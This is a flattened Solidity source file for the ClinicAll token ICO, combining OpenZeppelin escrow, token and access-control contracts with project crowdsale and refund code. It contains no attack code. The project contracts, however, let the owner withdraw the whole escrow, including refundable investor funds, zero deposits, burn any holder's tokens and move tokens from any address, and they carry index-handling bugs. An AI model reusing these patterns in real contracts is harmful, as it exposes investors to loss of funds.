// File: node_modules\zeppelin-solidity\contracts\payment\ConditionalEscrow.sol
/**
* @title ConditionalEscrow
* @dev Base abstract escrow to only allow withdrawal if a condition is met.
*/
contract ConditionalEscrow is Escrow {
/**
* @dev Returns whether an address is allowed to withdraw their funds. To be
* implemented by derived contracts.
* @param _payee The destination address of the funds.
*/
function withdrawalAllowed(address _payee) public view returns (bool);
function withdraw(address _payee) public {
require(withdrawalAllowed(_payee));
super.withdraw(_payee);
}
}
// File: node_modules\zeppelin-solidity\contracts\payment\RefundEscrow.sol
/**
* @title RefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple parties.
* The contract owner may close the deposit period, and allow for either withdrawal
* by the beneficiary, or refunds to the depositors.
*/
contract RefundEscrow is Ownable, ConditionalEscrow {
enum State { Active, Refunding, Closed }
event Closed();
event RefundsEnabled();
State public state;
address public beneficiary;
/**
* @dev Constructor.
* @param _beneficiary The beneficiary of the deposits.
*/
constructor(address _beneficiary) public {
require(_beneficiary != address(0));
beneficiary = _beneficiary;
state = State.Active;
}
/**
* @dev Stores funds that may later be refunded.
* @param _refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address _refundee) public payable {
require(state == State.Active);
super.deposit(_refundee);
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyOwner {
require(state == State.Active);
state = State.Closed;
emit Closed();
}
/**
* @dev Allows for refunds to take place, rejecting further deposits.
*/
function enableRefunds() public onlyOwner {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
/**
* @dev Withdraws the beneficiary's funds.
*/
function beneficiaryWithdraw() public {
require(state == State.Closed);
beneficiary.transfer(address(this).balance);
}
/**
* @dev Returns whether refundees can withdraw their deposits (be refunded).
*/
function withdrawalAllowed(address _payee) public view returns (bool) {
return state == State.Refunding;
}
}
// File: contracts\ClinicAllRefundEscrow.sol
/**
* @title ClinicAllRefundEscrow
* @dev Escrow that holds funds for a beneficiary, deposited from multiple parties.
* The contract owner may close the deposit period, and allow for either withdrawal
* by the beneficiary, or refunds to the depositors.
*/
contract ClinicAllRefundEscrow is RefundEscrow {
using Math for uint256;
struct RefundeeRecord {
bool isRefunded;
uint256 index;
}
mapping(address => RefundeeRecord) public refundees;
address[] internal refundeesList;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private deposits;
mapping(address => uint256) private beneficiaryDeposits;
// Amount of wei deposited by beneficiary
uint256 public beneficiaryDepositedAmount;
// Amount of wei deposited by investors to CrowdSale
uint256 public investorsDepositedToCrowdSaleAmount;
/**
* @dev Constructor.
* @param _beneficiary The beneficiary of the deposits.
*/
constructor(address _beneficiary)
RefundEscrow(_beneficiary)
public {
}
function depositsOf(address _payee) public view returns (uint256) {
return deposits[_payee];
}
function beneficiaryDepositsOf(address _payee) public view returns (uint256) {
return beneficiaryDeposits[_payee];
}
/**
* @dev Stores funds that may later be refunded.
* @param _refundee The address funds will be sent to if a refund occurs.
*/
function deposit(address _refundee) public payable {
uint256 amount = msg.value;
beneficiaryDeposits[_refundee] = beneficiaryDeposits[_refundee].add(amount);
beneficiaryDepositedAmount = beneficiaryDepositedAmount.add(amount);
}
/**
* @dev Stores funds that may later be refunded.
* @param _refundee The address funds will be sent to if a refund occurs.
* @param _value The amount of funds will be sent to if a refund occurs.
*/
function depositFunds(address _refundee, uint256 _value) public onlyOwner {
require(state == State.Active, "Funds deposition is possible only in the Active state.");
uint256 amount = _value;
deposits[_refundee] = deposits[_refundee].add(amount);
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.add(amount);
emit Deposited(_refundee, amount);
RefundeeRecord storage _data = refundees[_refundee];
_data.isRefunded = false;
if (_data.index == uint256(0)) {
refundeesList.push(_refundee);
_data.index = refundeesList.length.sub(1);
}
}
/**
* @dev Allows for the beneficiary to withdraw their funds, rejecting
* further deposits.
*/
function close() public onlyOwner {
super.close();
}
function withdraw(address _payee) public onlyOwner {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
uint256 payment = deposits[_payee];
assert(address(this).balance >= payment);
deposits[_payee] = 0;
investorsDepositedToCrowdSaleAmount = investorsDepositedToCrowdSaleAmount.sub(payment);
_payee.transfer(payment);
emit Withdrawn(_payee, payment);
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
/**
@dev Owner can do manual refund here if investore has "BAD" money
@param _payee address of investor that needs to refund with next manual ETH sending
*/
function manualRefund(address _payee) public onlyOwner {
require(depositsOf(_payee) > 0, "An investor should have non-negative deposit for withdrawal.");
RefundeeRecord storage _data = refundees[_payee];
require(_data.isRefunded == false, "An investor should not be refunded.");
deposits[_payee] = 0;
_data.isRefunded = true;
removeRefundeeByIndex(_data.index);
}
/**
* @dev Remove refundee referenced index from the internal list
* @param _indexToDelete An index in an array for deletion
*/
function removeRefundeeByIndex(uint256 _indexToDelete) private {
if ((refundeesList.length > 0) && (_indexToDelete < refundeesList.length)) {
uint256 _lastIndex = refundeesList.length.sub(1);
refundeesList[_indexToDelete] = refundeesList[_lastIndex];
refundeesList.length--;
}
}
/**
* @dev Get refundee list length
*/
function refundeesListLength() public onlyOwner view returns (uint256) {
return refundeesList.length;
}
/**
* @dev Auto refund
* @param _txFee The cost of executing refund code
*/
function withdrawChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
uint256 _refundeesCount = refundeesList.length;
require(_chunkLength >= _refundeesCount);
require(_txFee > 0, "Transaction fee should be above zero.");
require(_refundeesCount > 0, "List of investors should not be empty.");
uint256 _weiRefunded = 0;
require(address(this).balance > (_chunkLength.mul(_txFee)), "Account's ballance should allow to pay all tx fees.");
address[] memory _refundeesListCopy = new address[](_chunkLength);
uint256 i;
for (i = 0; i < _chunkLength; i++) {
address _refundee = refundeesList[i];
RefundeeRecord storage _data = refundees[_refundee];
if (_data.isRefunded == false) {
if (depositsOf(_refundee) > _txFee) {
uint256 _deposit = depositsOf(_refundee);
if (_deposit > _txFee) {
_weiRefunded = _weiRefunded.add(_deposit);
uint256 _paymentWithoutTxFee = _deposit.sub(_txFee);
_refundee.transfer(_paymentWithoutTxFee);
emit Withdrawn(_refundee, _paymentWithoutTxFee);
_data.isRefunded = true;
_refundeesListCopy[i] = _refundee;
}
}
}
}
for (i = 0; i < _chunkLength; i++) {
if (address(0) != _refundeesListCopy[i]) {
RefundeeRecord storage _dataCleanup = refundees[_refundeesListCopy[i]];
require(_dataCleanup.isRefunded == true, "Investors in this list should be refunded.");
removeRefundeeByIndex(_dataCleanup.index);
}
}
return (_weiRefunded, _refundeesListCopy);
}
/**
* @dev Auto refund
* @param _txFee The cost of executing refund code
*/
function withdrawEverything(uint256 _txFee) public onlyOwner returns (uint256, address[]) {
require(state == State.Refunding, "Funds withdrawal is possible only in the Refunding state.");
return withdrawChunk(_txFee, refundeesList.length);
}
/**
* @dev Withdraws the part of beneficiary's funds.
*/
function beneficiaryWithdrawChunk(uint256 _value) public onlyOwner {
require(_value <= address(this).balance, "Withdraw part can not be more than current balance");
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
/**
* @dev Withdraws all beneficiary's funds.
*/
function beneficiaryWithdrawAll() public onlyOwner {
uint256 _value = address(this).balance;
beneficiaryDepositedAmount = beneficiaryDepositedAmount.sub(_value);
beneficiary.transfer(_value);
}
}
// File: node_modules\zeppelin-solidity\contracts\lifecycle\TokenDestructible.sol
/**
* @title TokenDestructible:
* @author Remco Bloemen <remco@2π.com>
* @dev Base contract that can be destroyed by owner. All funds in contract including
* listed tokens will be sent to the owner.
*/
contract TokenDestructible is Ownable {
constructor() public payable { }
/**
* @notice Terminate contract and refund to owner
* @param tokens List of addresses of ERC20 or ERC20Basic token contracts to
refund.
* @notice The called token contracts could try to re-enter this contract. Only
supply token contracts you trust.
*/
function destroy(address[] tokens) onlyOwner public {
// Transfer tokens to owner
for (uint256 i = 0; i < tokens.length; i++) {
ERC20Basic token = ERC20Basic(tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
// Transfer Eth to owner and terminate contract
selfdestruct(owner);
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: node_modules\zeppelin-solidity\contracts\lifecycle\Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: node_modules\zeppelin-solidity\contracts\token\ERC20\PausableToken.sol
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts\TransferableToken.sol
/**
* @title TransferableToken
* @dev Base contract which allows to implement transfer for token.
*/
contract TransferableToken is Ownable {
event TransferOn();
event TransferOff();
bool public transferable = false;
/**
* @dev Modifier to make a function callable only when the contract is not transferable.
*/
modifier whenNotTransferable() {
require(!transferable);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is transferable.
*/
modifier whenTransferable() {
require(transferable);
_;
}
/**
* @dev called by the owner to enable transfers
*/
function transferOn() onlyOwner whenNotTransferable public {
transferable = true;
emit TransferOn();
}
/**
* @dev called by the owner to disable transfers
*/
function transferOff() onlyOwner whenTransferable public {
transferable = false;
emit TransferOff();
}
}
// File: contracts\ClinicAllToken.sol
contract ClinicAllToken is MintableToken, DetailedERC20, CappedToken, PausableToken, BurnableToken, TokenDestructible, TransferableToken {
constructor
(
string _name,
string _symbol,
uint8 _decimals,
uint256 _cap
)
DetailedERC20(_name, _symbol, _decimals)
CappedToken(_cap)
public
{
}
/*/
* Refund event when ICO didn't pass soft cap and we refund ETH to investors + burn ERC-20 tokens from investors balances
/*/
function burnAfterRefund(address _who) public onlyOwner {
uint256 _value = balances[_who];
_burn(_who, _value);
}
/*/
* Allow transfers only if token is transferable
/*/
function transfer(
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transfer(_to, _value);
}
/*/
* Allow transfers only if token is transferable
/*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenTransferable
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function transferToPrivateInvestor(
address _from,
address _to,
uint256 _value
)
public
onlyOwner
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function burnPrivateSale(address privateSaleWallet, uint256 _value) public onlyOwner {
_burn(privateSaleWallet, _value);
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\rbac\Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
// File: node_modules\zeppelin-solidity\contracts\ownership\rbac\RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param _roles the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] _roles) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < _roles.length; i++) {
// if (hasRole(msg.sender, _roles[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: contracts\Managed.sol
/**
* @title Managed
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract Managed is Ownable, RBAC {
string public constant ROLE_MANAGER = "manager";
/**
* @dev Throws if operator is not whitelisted.
*/
modifier onlyManager() {
checkRole(msg.sender, ROLE_MANAGER);
_;
}
/**
* @dev set an address as a manager
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function setManager(address _operator) public onlyOwner {
addRole(_operator, ROLE_MANAGER);
}
/**
* @dev delete an address as a manager
* @param _operator address
* @return true if the address was deleted from the whitelist, false if the address wasn't already in the whitelist
*/
function removeManager(address _operator) public onlyOwner {
removeRole(_operator, ROLE_MANAGER);
}
}
// File: contracts\Limited.sol
/**
* @title LimitedCrowdsale
* @dev Crowdsale in which only limited number of tokens can be bought.
*/
contract Limited is Managed {
using SafeMath for uint256;
mapping(address => uint256) public limitsList;
/**
* @dev Reverts if beneficiary has no limit. Can be used when extending this contract.
*/
modifier isLimited(address _payee) {
require(limitsList[_payee] > 0, "An investor is limited if it has a limit.");
_;
}
/**
* @dev Reverts if beneficiary want to buy more tickets than limit allows. Can be used when extending this contract.
*/
modifier doesNotExceedLimit(address _payee, uint256 _tokenAmount, uint256 _tokenBalance, uint256 kycLimitEliminator) {
if(_tokenBalance.add(_tokenAmount) >= kycLimitEliminator) {
require(_tokenBalance.add(_tokenAmount) <= getLimit(_payee), "An investor should not exceed its limit on buying.");
}
_;
}
/**
* @dev Returns limits for _payee.
* @param _payee Address to get token limits
*/
function getLimit(address _payee)
public view returns (uint256)
{
return limitsList[_payee];
}
/**
* @dev Adds limits to addresses.
* @param _payees Addresses to set limit
* @param _limits Limit values to set to addresses
*/
function addAddressesLimits(address[] _payees, uint256[] _limits) public
onlyManager
{
require(_payees.length == _limits.length, "Array sizes should be equal.");
for (uint256 i = 0; i < _payees.length; i++) {
addLimit(_payees[i], _limits[i]);
}
}
/**
* @dev Adds limit to address.
* @param _payee Address to set limit
* @param _limit Limit value to set to address
*/
function addLimit(address _payee, uint256 _limit) public
onlyManager
{
limitsList[_payee] = _limit;
}
/**
* @dev Removes single address-limit record.
* @param _payee Address to be removed
*/
function removeLimit(address _payee) external
onlyManager
{
limitsList[_payee] = 0;
}
}
// File: node_modules\zeppelin-solidity\contracts\access\Whitelist.sol
/**
* @title Whitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
/**
* @dev Throws if operator is not whitelisted.
* @param _operator address
*/
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
/**
* @dev add an address to the whitelist
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev getter to determine if address is in whitelist
*/
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param _operators addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param _operator address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev remove addresses from the whitelist
* @param _operators addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: contracts\ManagedWhitelist.sol
/**
* @title ManagedWhitelist
* @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions.
* This simplifies the implementation of "user permissions".
*/
contract ManagedWhitelist is Managed, Whitelist {
/**
* @dev add an address to the whitelist
* @param _operator address
* @return true if the address was added to the whitelist, false if the address was already in the whitelist
*/
function addAddressToWhitelist(address _operator) public onlyManager {
addRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev add addresses to the whitelist
* @param _operators addresses
* @return true if at least one address was added to the whitelist,
* false if all addresses were already in the whitelist
*/
function addAddressesToWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
/**
* @dev remove an address from the whitelist
* @param _operator address
* @return true if the address was removed from the whitelist,
* false if the address wasn't in the whitelist in the first place
*/
function removeAddressFromWhitelist(address _operator) public onlyManager {
removeRole(_operator, ROLE_WHITELISTED);
}
/**
* @dev remove addresses from the whitelist
* @param _operators addresses
* @return true if at least one address was removed from the whitelist,
* false if all addresses weren't in the whitelist in the first place
*/
function removeAddressesFromWhitelist(address[] _operators) public onlyManager {
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
// File: contracts\ClinicAllCrowdsale.sol
/// @title ClinicAll crowdsale contract
/// @dev ClinicAll crowdsale contract
contract ClinicAllCrowdsale is Crowdsale, FinalizableCrowdsale, MintedCrowdsale, ManagedWhitelist, Limited {
constructor
(
uint256 _tokenLimitSupply,
uint256 _rate,
address _wallet,
address _privateSaleWallet,
ERC20 _token,
uint256 _openingTime,
uint256 _closingTime,
uint256 _discountTokenAmount,
uint256 _discountTokenPercent,
uint256 _preSaleClosingTime,
uint256 _softCapLimit,
ClinicAllRefundEscrow _vault,
uint256 _buyLimitSupplyMin,
uint256 _buyLimitSupplyMax,
uint256 _kycLimitEliminator
)
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
public
{
privateSaleWallet = _privateSaleWallet;
tokenSupplyLimit = _tokenLimitSupply;
discountTokenAmount = _discountTokenAmount;
discountTokenPercent = _discountTokenPercent;
preSaleClosingTime = _preSaleClosingTime;
softCapLimit = _softCapLimit;
vault = _vault;
buyLimitSupplyMin = _buyLimitSupplyMin;
buyLimitSupplyMax = _buyLimitSupplyMax;
kycLimitEliminator = _kycLimitEliminator;
}
using SafeMath for uint256;
// refund vault used to hold funds while crowdsale is running
ClinicAllRefundEscrow public vault;
/*/
* Properties, constants
/*/
//address public walletPrivateSaler;
// Limit of tokens for supply during ICO public sale
uint256 public tokenSupplyLimit;
// Limit of tokens with discount on current contract
uint256 public discountTokenAmount;
// Percent value for discount tokens
uint256 public discountTokenPercent;
// Time when we finish pre sale
uint256 public preSaleClosingTime;
// Minimum amount of funds to be raised in weis
uint256 public softCapLimit;
// Min buy limit for each investor
uint256 public buyLimitSupplyMin;
// Max buy limit for each investor
uint256 public buyLimitSupplyMax;
// KYC Limit Eliminator for small and big investors
uint256 public kycLimitEliminator;
// Address where private sale funds are collected
address public privateSaleWallet;
// Private sale tokens supply limit
uint256 public privateSaleSupplyLimit;
// Public functions
/*/
* @dev CrowdSale manager is able to change rate value during ICO
* @param _rate wei to CHT tokens exchange rate
*/
function updateRate(uint256 _rate) public
onlyManager
{
require(_rate != 0, "Exchange rate should not be 0.");
rate = _rate;
}
/*/
* @dev CrowdSale manager is able to change min and max buy limit for investors during ICO
* @param _min Minimal amount of tokens that could be bought
* @param _max Maximum amount of tokens that could be bought
*/
function updateBuyLimitRange(uint256 _min, uint256 _max) public
onlyOwner
{
require(_min != 0, "Minimal buy limit should not be 0.");
require(_max != 0, "Maximal buy limit should not be 0.");
require(_max > _min, "Maximal buy limit should be greater than minimal buy limit.");
buyLimitSupplyMin = _min;
buyLimitSupplyMax = _max;
}
/*/
* @dev CrowdSale manager is able to change Kyc Limit Eliminator for investors during ICO
* @param _value amount of tokens that should be as eliminator
*/
function updateKycLimitEliminator(uint256 _value) public
onlyOwner
{
require(_value != 0, "Kyc Eliminator should not be 0.");
kycLimitEliminator = _value;
}
/**
* @dev Investors can claim refunds here if crowdsale is unsuccessful
*/
function claimRefund() public {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 deposit = vault.depositsOf(msg.sender);
vault.withdraw(msg.sender);
weiRaised = weiRaised.sub(deposit);
ClinicAllToken(token).burnAfterRefund(msg.sender);
}
/**
@dev Owner can claim full refund if a crowdsale is unsuccessful
@param _txFee Transaction fee that will be deducted from an invested sum
*/
function claimRefundChunk(uint256 _txFee, uint256 _chunkLength) public onlyOwner {
require(isFinalized, "Claim refunds is only possible if the ICO is finalized.");
require(!goalReached(), "Claim refunds is only possible if the soft cap goal has not been reached.");
uint256 _weiRefunded;
address[] memory _refundeesList;
(_weiRefunded, _refundeesList) = vault.withdrawChunk(_txFee, _chunkLength);
weiRaised = weiRaised.sub(_weiRefunded);
for (uint256 i = 0; i < _refundeesList.length; i++) {
ClinicAllToken(token).burnAfterRefund(_refundeesList[i]);
}
}
/**
* @dev Get refundee list length
*/
function refundeesListLength() public onlyOwner view returns (uint256) {
return vault.refundeesListLength();
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return ((block.timestamp > closingTime) || tokenSupplyLimit <= token.totalSupply());
}
/**
* @dev Checks whether funding goal was reached.
* @return Whether funding goal was reached
*/
function goalReached() public view returns (bool) {
return token.totalSupply() >= softCapLimit;
}
/**
* @dev Checks rest of tokens supply.
*/
function supplyRest() public view returns (uint256) {
return (tokenSupplyLimit.sub(token.totalSupply()));
}
//Private functions
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
doesNotExceedLimit(_beneficiary, _tokenAmount, token.balanceOf(_beneficiary), kycLimitEliminator)
{
super._processPurchase(_beneficiary, _tokenAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyIfWhitelisted(_beneficiary)
isLimited(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
uint256 tokens = _getTokenAmount(_weiAmount);
require(tokens.add(token.totalSupply()) <= tokenSupplyLimit, "Total amount fo sold tokens should not exceed the total supply limit.");
require(tokens >= buyLimitSupplyMin, "An investor can buy an amount of tokens only above the minimal limit.");
require(tokens.add(token.balanceOf(_beneficiary)) <= buyLimitSupplyMax, "An investor cannot buy tokens above the maximal limit.");
}
/**
* @dev Te way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount with discount or not
*/
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
if (isDiscount()) {
return _getTokensWithDiscount(_weiAmount);
}
return _weiAmount.mul(rate);
}
/**
* @dev Public method where ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
*/
function getTokenAmount(uint256 _weiAmount)
public view returns (uint256)
{
return _getTokenAmount(_weiAmount);
}
/**
* @dev iternal method returns total tokens amount including discount
*/
function _getTokensWithDiscount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 tokens = 0;
uint256 restOfDiscountTokens = discountTokenAmount.sub(token.totalSupply());
uint256 discountTokensMax = _getDiscountTokenAmount(_weiAmount);
if (restOfDiscountTokens < discountTokensMax) {
uint256 discountTokens = restOfDiscountTokens;
//get rest of WEI
uint256 _rate = _getDiscountRate();
uint256 _discointWeiAmount = discountTokens.div(_rate);
uint256 _restOfWeiAmount = _weiAmount.sub(_discointWeiAmount);
uint256 normalTokens = _restOfWeiAmount.mul(rate);
tokens = discountTokens.add(normalTokens);
} else {
tokens = discountTokensMax;
}
return tokens;
}
/**
* @dev iternal method returns discount tokens amount
* @param _weiAmount An amount of ETH that should be converted to an amount of CHT tokens
*/
function _getDiscountTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
require(_weiAmount != 0, "It should be possible to buy tokens only by providing non zero ETH.");
uint256 _rate = _getDiscountRate();
return _weiAmount.mul(_rate);
}
/**
* @dev Returns the discount rate value
*/
function _getDiscountRate()
internal view returns (uint256)
{
require(isDiscount(), "Getting discount rate should be possible only below the discount tokens limit.");
return rate.add(rate.mul(discountTokenPercent).div(100));
}
/**
* @dev Returns the exchange rate value
*/
function getRate()
public view returns (uint256)
{
if (isDiscount()) {
return _getDiscountRate();
}
return rate;
}
/**
* @dev Returns the status if the ICO's private sale has closed or not
*/
function isDiscount()
public view returns (bool)
{
return (preSaleClosingTime >= block.timestamp);
}
/**
* @dev Internal method where owner transfers part of tokens to reserve
*/
function transferTokensToReserve(address _beneficiary) private
{
require(tokenSupplyLimit < CappedToken(token).cap(), "Token's supply limit should be less that token' cap limit.");
// calculate token amount to be created
uint256 _tokenCap = CappedToken(token).cap();
uint256 tokens = _tokenCap.sub(tokenSupplyLimit);
_deliverTokens(_beneficiary, tokens);
}
/**
* @dev Enable transfers of tokens between wallets
*/
function transferOn() public onlyOwner
{
ClinicAllToken(token).transferOn();
}
/**
* @dev Disable transfers of tokens between wallets
*/
function transferOff() public onlyOwner
{
ClinicAllToken(token).transferOff();
}
/**
* @dev Internal method where owner transfers part of tokens to reserve and finish minting
*/
function finalization() internal {
if (goalReached()) {
transferTokensToReserve(wallet);
vault.close();
} else {
vault.enableRefunds();
}
MintableToken(token).finishMinting();
super.finalization();
}
/**
* @dev Overrides Crowdsale fund forwarding, sending funds to vault.
*/
function _forwardFunds() internal {
super._forwardFunds();
vault.depositFunds(msg.sender, msg.value);
}
/**
* @dev Throws if operator is not whitelisted.
*/
modifier onlyPrivateSaleWallet() {
require(privateSaleWallet == msg.sender, "Wallet should be the same as private sale wallet.");
_;
}
/**
* @dev Public method where private sale manager can transfer tokens to private investors
*/
function transferToPrivateInvestor(
address _beneficiary,
uint256 _value
)
public
onlyPrivateSaleWallet
onlyIfWhitelisted(_beneficiary)
returns (bool)
{
ClinicAllToken(token).transferToPrivateInvestor(msg.sender, _beneficiary, _value);
}
